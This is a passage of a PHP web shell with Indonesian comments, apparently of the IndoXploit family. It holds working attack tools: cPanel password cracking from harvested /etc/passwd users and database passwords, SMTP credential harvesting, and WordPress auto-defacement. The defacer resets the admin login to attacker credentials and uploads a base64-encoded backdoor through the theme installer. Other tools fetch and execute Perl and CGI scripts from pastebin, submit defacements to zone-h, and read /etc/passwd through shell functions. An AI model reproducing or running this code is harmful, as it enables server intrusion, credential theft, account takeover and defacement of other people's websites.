  1615. foreach($passcp as $pcp) {
  1616. if(@mysql_connect('localhost', $ucp, $pcp)) {
  1617. if($_SESSION[$ucp] && $_SESSION[$pcp]) {
  1618. } else {
  1619. $_SESSION[$ucp] = "1";
  1620. $_SESSION[$pcp] = "1";
  1621. $i++;
  1622. echo "username (<font color=lime>$ucp</font>) password (<font color=lime>$pcp</font>)<br>";
  1623. }
  1624. }
  1625. }
  1626. }
  1627. if($i == 0) {
  1628. } else {
  1629. echo "<br>Nemu ".$i." Cpanel by <font color=lime>JanCox</font>";
  1630. }
  1631. } else {
  1632. echo "<center>
  1633. <form method='post'>
  1634. USER: <br>
  1635. <textarea style='width: 450px; height: 150px;' name='user_cp'>";
  1636. $_usercp = fopen("/etc/passwd","r");
  1637. while($getu = fgets($_usercp)) {
  1638. if($getu == '' || !$_usercp) {
  1639. echo "<font color=red>Can't read /etc/passwd</font>";
  1640. } else {
  1641. preg_match_all("/(.*?):x:/", $getu, $u);
  1642. foreach($u[1] as $user_cp) {
  1643. if(is_dir("/home/$user_cp/public_html")) {
  1644. echo "$user_cp\
  1645. ";
  1646. }
  1647. }
  1648. }
  1649. }
  1650. echo "</textarea><br>
  1651. PASS: <br>
  1652. <textarea style='width: 450px; height: 200px;' name='pass_cp'>";
  1653. function cp_pass($dir) {
  1654. $pass = "";
  1655. $dira = scandir($dir);
  1656. foreach($dira as $dirb) {
  1657. if(!is_file("$dir/$dirb")) continue;
  1658. $ambil = file_get_contents("$dir/$dirb");
  1659. if(preg_match("/WordPress/", $ambil)) {
  1660. $pass .= ambilkata($ambil,"DB_PASSWORD', '","'")."\
  1661. ";
  1662. } elseif(preg_match("/JConfig|joomla/", $ambil)) {
  1663. $pass .= ambilkata($ambil,"password = '","'")."\
  1664. ";
  1665. } elseif(preg_match("/Magento|Mage_Core/", $ambil)) {
  1666. $pass .= ambilkata($ambil,"<password><![CDATA[","]]></password>")."\
  1667. ";
  1668. } elseif(preg_match("/panggil fungsi validasi xss dan injection/", $ambil)) {
  1669. $pass .= ambilkata($ambil,'password = "','"')."\
  1670. ";
  1671. } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/", $ambil)) {
  1672. $pass .= ambilkata($ambil,"'DB_PASSWORD', '","'")."\
  1673. ";
  1674. } elseif(preg_match("/client/", $ambil)) {
  1675. preg_match("/password=(.*)/", $ambil, $pass1);
  1676. if(preg_match('/"/', $pass1[1])) {
  1677. $pass1[1] = str_replace('"', "", $pass1[1]);
  1678. $pass .= $pass1[1]."\
  1679. ";
  1680. }
  1681. } elseif(preg_match("/cc_encryption_hash/", $ambil)) {
  1682. $pass .= ambilkata($ambil,"db_password = '","'")."\
  1683. ";
  1684. }
  1685. }
  1686. echo $pass;
  1687. }
  1688. $cp_pass = cp_pass($dir);
  1689. echo $cp_pass;
  1690. echo "</textarea><br>
  1691. <input type='submit' name='crack' style='width: 450px;' value='Crack'>
  1692. </form>
  1693. <span>NB: CPanel Crack ini sudah auto get password ( pake db password ) maka akan work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br></center>";
  1694. }
  1695. } elseif($_GET['do'] == 'smtp') {
  1696. echo "<center><span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span></center><br>";
  1697. function scj($dir) {
  1698. $dira = scandir($dir);
  1699. foreach($dira as $dirb) {
  1700. if(!is_file("$dir/$dirb")) continue;
  1701. $ambil = file_get_contents("$dir/$dirb");
  1702. $ambil = str_replace("$", "", $ambil);
  1703. if(preg_match("/JConfig|joomla/", $ambil)) {
  1704. $smtp_host = ambilkata($ambil,"smtphost = '","'");
  1705. $smtp_auth = ambilkata($ambil,"smtpauth = '","'");
  1706. $smtp_user = ambilkata($ambil,"smtpuser = '","'");
  1707. $smtp_pass = ambilkata($ambil,"smtppass = '","'");
  1708. $smtp_port = ambilkata($ambil,"smtpport = '","'");
  1709. $smtp_secure = ambilkata($ambil,"smtpsecure = '","'");
  1710. echo "SMTP Host: <font color=lime>$smtp_host</font><br>";
  1711. echo "SMTP port: <font color=lime>$smtp_port</font><br>";
  1712. echo "SMTP user: <font color=lime>$smtp_user</font><br>";
  1713. echo "SMTP pass: <font color=lime>$smtp_pass</font><br>";
  1714. echo "SMTP auth: <font color=lime>$smtp_auth</font><br>";
  1715. echo "SMTP secure: <font color=lime>$smtp_secure</font><br><br>";
  1716. }
  1717. }
  1718. }
  1719. $smpt_hunter = scj($dir);
  1720. echo $smpt_hunter;
  1721. } elseif($_GET['do'] == 'auto_wp') {
  1722. if($_POST['hajar']) {
  1723. $title = htmlspecialchars($_POST['new_title']);
  1724. $pn_title = str_replace(" ", "-", $title);
  1725. if($_POST['cek_edit'] == "Y") {
  1726. $script = $_POST['edit_content'];
  1727. } else {
  1728. $script = $title;
  1729. }
  1730. $conf = $_POST['config_dir'];
  1731. $scan_conf = scandir($conf);
  1732. foreach($scan_conf as $file_conf) {
  1733. if(!is_file("$conf/$file_conf")) continue;
  1734. $config = file_get_contents("$conf/$file_conf");
  1735. if(preg_match("/WordPress/", $config)) {
  1736. $dbhost = ambilkata($config,"DB_HOST', '","'");
  1737. $dbuser = ambilkata($config,"DB_USER', '","'");
  1738. $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
  1739. $dbname = ambilkata($config,"DB_NAME', '","'");
  1740. $dbprefix = ambilkata($config,"table_prefix = '","'");
  1741. $prefix = $dbprefix."posts";
  1742. $option = $dbprefix."options";
  1743. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  1744. $db = mysql_select_db($dbname);
  1745. $q = mysql_query("SELECT * FROM $prefix ORDER BY ID ASC");
  1746. $result = mysql_fetch_array($q);
  1747. $id = $result[ID];
  1748. $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
  1749. $result2 = mysql_fetch_array($q2);
  1750. $target = $result2[option_value];
  1751. $update = mysql_query("UPDATE $prefix SET post_title='$title',post_content='$script',post_name='$pn_title',post_status='publish',comment_status='open',ping_status='open',post_type='post',comment_count='1' WHERE id='$id'");
  1752. $update .= mysql_query("UPDATE $option SET option_value='$title' WHERE option_name='blogname' OR option_name='blogdescription'");
  1753. echo "<div style='margin: 5px auto;'>";
  1754. if($target == '') {
  1755. echo "URL: <font color=red>error, gabisa ambil nama domain nya</font> -> ";
  1756. } else {
  1757. echo "URL: <a href='$target/?p=$id' target='_blank'>$target/?p=$id</a> -> ";
  1758. }
  1759. if(!$update OR !$conn OR !$db) {
  1760. echo "<font color=red>MySQL Error: ".mysql_error()."</font><br>";
  1761. } else {
  1762. echo "<font color=lime>sukses di ganti.</font><br>";
  1763. }
  1764. echo "</div>";
  1765. mysql_close($conn);
  1766. }
  1767. }
  1768. } else {
  1769. echo "<center>
  1770. <h1>Auto Edit Title+Content WordPress</h1>
  1771. <form method='post'>
  1772. DIR Config: <br>
  1773. <input type='text' size='50' name='config_dir' value='$dir'><br><br>
  1774. Set Title: <br>
  1775. <input type='text' name='new_title' value='Hacked By 0x1999' placeholder='New Title'><br><br>
  1776. Edit Content?: <input type='radio' name='cek_edit' value='Y' checked>Y<input type='radio' name='cek_edit' value='N'>N<br>
  1777. <span>Jika pilih <u>Y</u> masukin script defacemu ( saran yang simple aja ), kalo pilih <u>N</u> gausah di isi.</span><br>
  1778. <textarea name='edit_content' placeholder='contoh script: http://pastebin.com/EpP671gK' style='width: 450px; height: 150px;'></textarea><br>
  1779. <input type='submit' name='hajar' value='Hajar!' style='width: 450px;'><br>
  1780. </form>
  1781. <span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br>
  1782. ";
  1783. }
  1784. } elseif($_GET['do'] == 'zoneh') {
  1785. if($_POST['submit']) {
  1786. $domain = explode("\
  1787. \
  1788. ", $_POST['url']);
  1789. $nick = $_POST['nick'];
  1790. echo "Defacer Onhold: <a href='http://www.zone-h.org/archive/notifier=$nick/published=0' target='_blank'>http://www.zone-h.org/archive/notifier=$nick/published=0</a><br>";
  1791. echo "Defacer Archive: <a href='http://www.zone-h.org/archive/notifier=$nick' target='_blank'>http://www.zone-h.org/archive/notifier=$nick</a><br><br>";
  1792. function zoneh($url,$nick) {
  1793. $ch = curl_init("http://www.zone-h.com/notify/single");
  1794. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  1795. curl_setopt($ch, CURLOPT_POST, true);
  1796. curl_setopt($ch, CURLOPT_POSTFIELDS, "defacer=$nick&domain1=$url&hackmode=1&reason=1&submit=Send");
  1797. return curl_exec($ch);
  1798. curl_close($ch);
  1799. }
  1800. foreach($domain as $url) {
  1801. $zoneh = zoneh($url,$nick);
  1802. if(preg_match("/color=\"red\">OK<\/font><\/li>/i", $zoneh)) {
  1803. echo "$url -> <font color=lime>OK</font><br>";
  1804. } else {
  1805. echo "$url -> <font color=red>ERROR</font><br>";
  1806. }
  1807. }
  1808. } else {
  1809. echo "<center><form method='post'>
  1810. <u>Defacer</u>: <br>
  1811. <input type='text' name='nick' size='50' value='Monkey B Luffy'><br>
  1812. <u>Domains</u>: <br>
  1813. <textarea style='width: 450px; height: 150px;' name='url'></textarea><br>
  1814. <input type='submit' name='submit' value='Submit' style='width: 450px;'>
  1815. </form>";
  1816. }
  1817. echo "</center>";
  1818. } elseif($_GET['do'] == 'lcf') {
  1819. mkdir('LCF',0755);
  1820. chdir('LCF');
  1821. $kokdosya = ".htaccess";
  1822. $dosya_adi = "$kokdosya";
  1823. $dosya = fopen ($dosya_adi , 'w') or die ("Error mas broo!!!");
  1824. $metin = "OPTIONS Indexes Includes ExecCGI FollowSymLinks \
  1825. AddType application/x-httpd-cgi .pl \
  1826. AddHandler cgi-script .pl \
  1827. AddHandler cgi-script .pl
  1828. \
  1829. \
  1830. Options \
  1831. DirectoryIndex seees.html \
  1832. RemoveHandler .php \
  1833. AddType application/octet-stream .php";
  1834. fwrite ( $dosya , $metin ) ;
  1835. fclose ($dosya);
  1836. $file = fopen("lcf.pl","w+");
  1837. $write = fwrite ($file ,file_get_contents("http://pastebin.com/raw/26jAL0sz"));
  1838. fclose($file);
  1839. chmod("lcf.pl",0755);
  1840. echo "<iframe src=LCF/lcf.pl width=97% height=100% frameborder=0></iframe>";
  1841. }
  1842. elseif($_GET['do'] == 'cgi') {
  1843. $cgi_dir = mkdir('idx_cgi', 0755);
  1844. $file_cgi = "idx_cgi/cgi.izo";
  1845. $isi_htcgi = "AddHandler cgi-script .izo";
  1846. $htcgi = fopen(".htaccess", "w");
  1847. $cgi_script = file_get_contents("http://pastebin.com/raw.php?i=XTUFfJLg");
  1848. $cgi = fopen($file_cgi, "w");
  1849. fwrite($cgi, $cgi_script);
  1850. fwrite($htcgi, $isi_htcgi);
  1851. chmod($file_cgi, 0755);
  1852. echo "<iframe src='idx_cgi/cgi.izo' width='100%' height='100%' frameborder='0' scrolling='no'></iframe>";
  1853. } elseif($_GET['do'] == 'fake_root') {
  1854. ob_start();
  1855. function reverse($url) {
  1856. $ch = curl_init("http://domains.yougetsignal.com/domains.php");
  1857. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
  1858. curl_setopt($ch, CURLOPT_POSTFIELDS, "remoteAddress=$url&ket=");
  1859. curl_setopt($ch, CURLOPT_HEADER, 0);
  1860. curl_setopt($ch, CURLOPT_POST, 1);
  1861. $resp = curl_exec($ch);
  1862. $resp = str_replace("[","", str_replace("]","", str_replace("\"\"","", str_replace(", ,",",", str_replace("{","", str_replace("{","", str_replace("}","", str_replace(", ",",", str_replace(", ",",", str_replace("'","", str_replace("'","", str_replace(":",",", str_replace('"','', $resp ) ) ) ) ) ) ) ) ) ))));
  1863. $array = explode(",,", $resp);
  1864. unset($array[0]);
  1865. foreach($array as $lnk) {
  1866. $lnk = "http://$lnk";
  1867. $lnk = str_replace(",", "", $lnk);
  1868. echo $lnk."\
  1869. ";
  1870. ob_flush();
  1871. flush();
  1872. }
  1873. curl_close($ch);
  1874. }
  1875. function cek($url) {
  1876. $ch = curl_init($url);
  1877. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
  1878. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
  1879. $resp = curl_exec($ch);
  1880. return $resp;
  1881. }
  1882. $cwd = getcwd();
  1883. $ambil_user = explode("/", $cwd);
  1884. $user = $ambil_user[2];
  1885. if($_POST['reverse']) {
  1886. $site = explode("\
  1887. \
  1888. ", $_POST['url']);
  1889. $file = $_POST['file'];
  1890. foreach($site as $url) {
  1891. $cek = cek("$url/~$user/$file");
  1892. if(preg_match("/hacked/i", $cek)) {
  1893. echo "URL: <a href='$url/~$user/$file' target='_blank'>$url/~$user/$file</a> -> <font color=lime>Fake Root!</font><br>";
  1894. }
  1895. }
  1896. } else {
  1897. echo "<center><form method='post'>
  1898. Filename: <br><input type='text' name='file' value='deface.html' size='50' height='10'><br>
  1899. User: <br><input type='text' value='$user' size='50' height='10' readonly><br>
  1900. Domain: <br>
  1901. <textarea style='width: 450px; height: 250px;' name='url'>";
  1902. reverse($_SERVER['HTTP_HOST']);
  1903. echo "</textarea><br>
  1904. <input type='submit' name='reverse' value='Scan Fake Root!' style='width: 450px;'>
  1905. </form><br>
  1906. NB: Sebelum gunain Tools ini , upload dulu file deface kalian di dir /home/user/ dan /home/user/public_html.</center>";
  1907. }
  1908. } elseif($_GET['do'] == 'adminer') {
  1909. $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
  1910. function adminer($url, $isi) {
  1911. $fp = fopen($isi, "w");
  1912. $ch = curl_init();
  1913. curl_setopt($ch, CURLOPT_URL, $url);
  1914. curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
  1915. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  1916. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  1917. curl_setopt($ch, CURLOPT_FILE, $fp);
  1918. return curl_exec($ch);
  1919. curl_close($ch);
  1920. fclose($fp);
  1921. ob_flush();
  1922. flush();
  1923. }
  1924. if(file_exists('adminer.php')) {
  1925. echo "<center><font color=lime><a href='$full/adminer.php' target='_blank'>-> adminer login <-</a></font></center>";
  1926. } else {
  1927. if(adminer("https://www.adminer.org/static/download/4.2.4/adminer-4.2.4.php","adminer.php")) {
  1928. echo "<center><font color=lime><a href='$full/adminer.php' target='_blank'>-> adminer login <-</a></font></center>";
  1929. } else {
  1930. echo "<center><font color=red>gagal buat file adminer</font></center>";
  1931. }
  1932. }
  1933. }elseif($_GET['do'] == 'passwbypass') {
  1934. echo '<center>Bypass etc/passw With:<br>
  1935. <table style="width:50%">
  1936. <tr>
  1937. <td><form method="post"><input type="submit" value="System Function" name="syst"></form></td>
  1938. <td><form method="post"><input type="submit" value="Passthru Function" name="passth"></form></td>
  1939. <td><form method="post"><input type="submit" value="Exec Function" name="ex"></form></td>
  1940. <td><form method="post"><input type="submit" value="Shell_exec Function" name="shex"></form></td>
  1941. <td><form method="post"><input type="submit" value="Posix_getpwuid Function" name="melex"></form></td>
  1942. </tr></table>Bypass User With : <table style="width:50%">
  1943. <tr>
  1944. <td><form method="post"><input type="submit" value="Awk Program" name="awkuser"></form></td>
  1945. <td><form method="post"><input type="submit" value="System Function" name="systuser"></form></td>
  1946. <td><form method="post"><input type="submit" value="Passthru Function" name="passthuser"></form></td>
  1947. <td><form method="post"><input type="submit" value="Exec Function" name="exuser"></form></td>
  1948. <td><form method="post"><input type="submit" value="Shell_exec Function" name="shexuser"></form></td>
  1949. </tr>
  1950. </table><br>';
  1951.  
  1952.  
  1953. if ($_POST['awkuser']) {
  1954. echo"<textarea class='inputzbut' cols='65' rows='15'>";
  1955. echo shell_exec("awk -F: '{ print $1 }' /etc/passwd | sort");
  1956. echo "</textarea><br>";
  1957. }
  1958. if ($_POST['systuser']) {
  1959. echo"<textarea class='inputzbut' cols='65' rows='15'>";
  1960. echo system("ls /var/mail");
  1961. echo "</textarea><br>";
  1962. }
  1963. if ($_POST['passthuser']) {
  1964. echo"<textarea class='inputzbut' cols='65' rows='15'>";
  1965. echo passthru("ls /var/mail");
  1966. echo "</textarea><br>";
  1967. }
  1968. if ($_POST['exuser']) {
  1969. echo"<textarea class='inputzbut' cols='65' rows='15'>";
  1970. echo exec("ls /var/mail");
  1971. echo "</textarea><br>";
  1972. }
  1973. if ($_POST['shexuser']) {
  1974. echo"<textarea class='inputzbut' cols='65' rows='15'>";
  1975. echo shell_exec("ls /var/mail");
  1976. echo "</textarea><br>";
  1977. }
  1978. if($_POST['syst'])
  1979. {
  1980. echo"<textarea class='inputz' cols='65' rows='15'>";
  1981. echo system("cat /etc/passwd");
  1982. echo"</textarea><br><br><b></b><br>";
  1983. }
  1984. if($_POST['passth'])
  1985. {
  1986. echo"<textarea class='inputz' cols='65' rows='15'>";
  1987. echo passthru("cat /etc/passwd");
  1988. echo"</textarea><br><br><b></b><br>";
  1989. }
  1990. if($_POST['ex'])
  1991. {
  1992. echo"<textarea class='inputz' cols='65' rows='15'>";
  1993. echo exec("cat /etc/passwd");
  1994. echo"</textarea><br><br><b></b><br>";
  1995. }
  1996. if($_POST['shex'])
  1997. {
  1998. echo"<textarea class='inputz' cols='65' rows='15'>";
  1999. echo shell_exec("cat /etc/passwd");
  2000. echo"</textarea><br><br><b></b><br>";
  2001. }
  2002. echo '<center>';
  2003. if($_POST['melex'])
  2004. {
  2005. echo"<textarea class='inputz' cols='65' rows='15'>";
  2006. for($uid=0;$uid<60000;$uid++){
  2007. $ara = posix_getpwuid($uid);
  2008. if (!empty($ara)) {
  2009. while (list ($key, $val) = each($ara)){
  2010. print "$val:";
  2011. }
  2012. print "\
  2013. ";
  2014. }
  2015. }
  2016. echo"</textarea><br><br>";
  2017. }
  2018. //
  2019.  
  2020. //
  2021. } elseif($_GET['do'] == 'auto_dwp') {
  2022. if($_POST['auto_deface_wp']) {
  2023. function anucurl($sites) {
  2024. $ch = curl_init($sites);
  2025. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  2026. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  2027. curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  2028. curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
  2029. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  2030. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  2031. curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  2032. curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  2033. curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  2034. $data = curl_exec($ch);
  2035. curl_close($ch);
  2036. return $data;
  2037. }
  2038. function lohgin($cek, $web, $userr, $pass, $wp_submit) {
  2039. $post = array(
  2040. "log" => "$userr",
  2041. "pwd" => "$pass",
  2042. "rememberme" => "forever",
  2043. "wp-submit" => "$wp_submit",
  2044. "redirect_to" => "$web",
  2045. "testcookie" => "1",
  2046. );
  2047. $ch = curl_init($cek);
  2048. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  2049. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  2050. curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  2051. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  2052. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  2053. curl_setopt($ch, CURLOPT_POST, 1);
  2054. curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
  2055. curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  2056. curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  2057. curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  2058. $data = curl_exec($ch);
  2059. curl_close($ch);
  2060. return $data;
  2061. }
  2062. $scan = $_POST['link_config'];
  2063. $link_config = scandir($scan);
  2064. $script = htmlspecialchars($_POST['script']);
  2065. $user = "0x1999";
  2066. $pass = "0x1999";
  2067. $passx = md5($pass);
  2068. foreach($link_config as $dir_config) {
  2069. if(!is_file("$scan/$dir_config")) continue;
  2070. $config = file_get_contents("$scan/$dir_config");
  2071. if(preg_match("/WordPress/", $config)) {
  2072. $dbhost = ambilkata($config,"DB_HOST', '","'");
  2073. $dbuser = ambilkata($config,"DB_USER', '","'");
  2074. $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
  2075. $dbname = ambilkata($config,"DB_NAME', '","'");
  2076. $dbprefix = ambilkata($config,"table_prefix = '","'");
  2077. $prefix = $dbprefix."users";
  2078. $option = $dbprefix."options";
  2079. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  2080. $db = mysql_select_db($dbname);
  2081. $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  2082. $result = mysql_fetch_array($q);
  2083. $id = $result[ID];
  2084. $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
  2085. $result2 = mysql_fetch_array($q2);
  2086. $target = $result2[option_value];
  2087. if($target == '') {
  2088. echo "[-] <font color=red>error, gabisa ambil nama domain nya</font><br>";
  2089. } else {
  2090. echo "[+] $target <br>";
  2091. }
  2092. $update = mysql_query("UPDATE $prefix SET user_login='$user',user_pass='$passx' WHERE ID='$id'");
  2093. if(!$conn OR !$db OR !$update) {
  2094. echo "[-] MySQL Error: <font color=red>".mysql_error()."</font><br><br>";
  2095. mysql_close($conn);
  2096. } else {
  2097. $site = "$target/wp-login.php";
  2098. $site2 = "$target/wp-admin/theme-install.php?upload";
  2099. $b1 = anucurl($site2);
  2100. $wp_sub = ambilkata($b1, "id=\"wp-submit\" class=\"button button-primary button-large\" value=\"","\" />");
  2101. $b = lohgin($site, $site2, $user, $pass, $wp_sub);
  2102. $anu2 = ambilkata($b,"name=\"_wpnonce\" value=\"","\" />");
  2103. $upload3 = base64_decode("Z2FudGVuZw0KPD9waHANCiRmaWxlMyA9ICRfRklMRVNbJ2ZpbGUzJ107DQogICRuZXdmaWxlMz0iay5waHAiOw0KICAgICAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygiLi4vLi4vLi4vLi4vIi4kbmV3ZmlsZTMpKSB1bmxpbmsoIi4uLy4uLy4uLy4uLyIuJG5ld2ZpbGUzKTsNCiAgICAgICAgbW92ZV91cGxvYWRlZF9maWxlKCRmaWxlM1sndG1wX25hbWUnXSwgIi4uLy4uLy4uLy4uLyRuZXdmaWxlMyIpOw0KDQo/Pg==");
  2104. $www = "m.php";
  2105. $fp5 = fopen($www,"w");
  2106. fputs($fp5,$upload3);
  2107. $post2 = array(
  2108. "_wpnonce" => "$anu2",
  2109. "_wp_http_referer" => "/wp-admin/theme-install.php?upload",
  2110. "themezip" => "@$www",
  2111. "install-theme-submit" => "Install Now",
  2112. );
  2113. $ch = curl_init("$target/wp-admin/update.php?action=upload-theme");
  2114. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  2115. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  2116. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  2117. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  2118. curl_setopt($ch, CURLOPT_POST, 1);
  2119. curl_setopt($ch, CURLOPT_POSTFIELDS, $post2);
  2120. curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  2121. curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  2122. curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  2123. $data3 = curl_exec($ch);
  2124. curl_close($ch);
  2125. $y = date("Y");
  2126. $m = date("m");
  2127. $namafile = "id.php";
  2128. $fpi = fopen($namafile,"w");
  2129. fputs($fpi,$script);
  2130. $ch6 = curl_init("$target/wp-content/uploads/$y/$m/$www");
  2131. curl_setopt($ch6, CURLOPT_POST, true);
  2132. curl_setopt($ch6, CURLOPT_POSTFIELDS, array('file3'=>"@$namafile"));
  2133. curl_setopt($ch6, CURLOPT_RETURNTRANSFER, 1);
  2134. curl_setopt($ch6, CURLOPT_COOKIEFILE, "cookie.txt");
  2135. curl_setopt($ch6, CURLOPT_COOKIEJAR,'cookie.txt');
  2136. curl_setopt($ch6, CURLOPT_COOKIESESSION, true);
  2137. $postResult = curl_exec($ch6);
  2138. curl_close($ch6);
  2139. $as = "$target/k.php";
  2140. $bs = anucurl($as);
  2141. if(preg_match("#$script#is", $bs)) {
  2142. echo "[+] <font color='lime'>berhasil mepes...</font><br>";
  2143. echo "[+] <a href='$as' target='_blank'>$as</a><br><br>";
  2144. } else {
  2145. echo "[-] <font color='red'>gagal mepes...</font><br>";
  2146. echo "[!!] coba aja manual: <br>";
  2147. echo "[+] <a href='$target/wp-login.php' target='_blank'>$target/wp-login.php</a><br>";
  2148. echo "[+] username: <font color=lime>$user</font><br>";
  2149. echo "[+] password: <font color=lime>$pass</font><br><br>";
  2150. }
  2151. mysql_close($conn);
  2152. }
  2153. }
  2154. }
  2155. } else {
  2156. echo "<center><h1>WordPress Auto Deface</h1>
  2157. <form method='post'>
  2158. <input type='text' name='link_config' size='50' height='10' value='$dir'><br>
  2159. <input type='text' name='script' height='10' size='50' placeholder='Hacked By 0x1999' required><br>
  2160. <input type='submit' style='width: 450px;' name='auto_deface_wp' value='Hajar!!'>
  2161. </form>
  2162. <br><span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span>
  2163. </center>";
  2164. }
  2165. } elseif($_GET['do'] == 'auto_dwp2') {
  2166. if($_POST['auto_deface_wp']) {
  2167. function anucurl($sites) {
  2168. $ch = curl_init($sites);
  2169. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  2170. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  2171. curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  2172. curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
  2173. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  2174. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  2175. curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  2176. curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  2177. curl_setopt($ch, CURLOPT_COOKIESESSION,true);
  2178. $data = curl_exec($ch);
  2179. curl_close($ch);
  2180. return $data;
  2181. }
  2182. function lohgin($cek, $web, $userr, $pass, $wp_submit) {
  2183. $post = array(
  2184. "log" => "$userr",
  2185. "pwd" => "$pass",
  2186. "rememberme" => "forever",
  2187. "wp-submit" => "$wp_submit",
  2188. "redirect_to" => "$web",
  2189. "testcookie" => "1",
  2190. );
  2191. $ch = curl_init($cek);
  2192. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  2193. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  2194. curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  2195. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  2196. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  2197. curl_setopt($ch, CURLOPT_POST, 1);
  2198. curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
  2199. curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  2200. curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  2201. curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  2202. $data = curl_exec($ch);
  2203. curl_close($ch);
  2204. return $data;
  2205. }
  2206. $link = explode("\
  2207. \
  2208. ", $_POST['link']);
  2209. $script = htmlspecialchars($_POST['script']);
  2210. $user = "indoxploit";
  2211. $pass = "indoxploit";
  2212. $passx = md5($pass);
  2213. foreach($link as $dir_config) {
  2214. $config = anucurl($dir_config);
  2215. $dbhost = ambilkata($config,"DB_HOST', '","'");
  2216. $dbuser = ambilkata($config,"DB_USER', '","'");
  2217. $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
  2218. $dbname = ambilkata($config,"DB_NAME', '","'");
  2219. $dbprefix = ambilkata($config,"table_prefix = '","'");
  2220. $prefix = $dbprefix."users";
  2221. $option = $dbprefix."options";
  2222. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  2223. $db = mysql_select_db($dbname);
  2224. $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  2225. $result = mysql_fetch_array($q);
  2226. $id = $result[ID];
  2227. $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
  2228. $result2 = mysql_fetch_array($q2);
  2229. $target = $result2[option_value];
  2230. if($target == '') {
  2231. echo "[-] <font color=red>error, gabisa ambil nama domain nya</font><br>";
  2232. } else {
  2233. echo "[+] $target <br>";
  2234. }
  2235. $update = mysql_query("UPDATE $prefix SET user_login='$user',user_pass='$passx' WHERE ID='$id'");
  2236. if(!$conn OR !$db OR !$update) {
  2237. echo "[-] MySQL Error: <font color=red>".mysql_error()."</font><br><br>";
  2238. mysql_close($conn);
  2239. } else {
  2240. $site = "$target/wp-login.php";
  2241. $site2 = "$target/wp-admin/theme-install.php?upload";
  2242. $b1 = anucurl($site2);
  2243. $wp_sub = ambilkata($b1, "id=\"wp-submit\" class=\"button button-primary button-large\" value=\"","\" />");
  2244. $b = lohgin($site, $site2, $user, $pass, $wp_sub);
  2245. $anu2 = ambilkata($b,"name=\"_wpnonce\" value=\"","\" />");
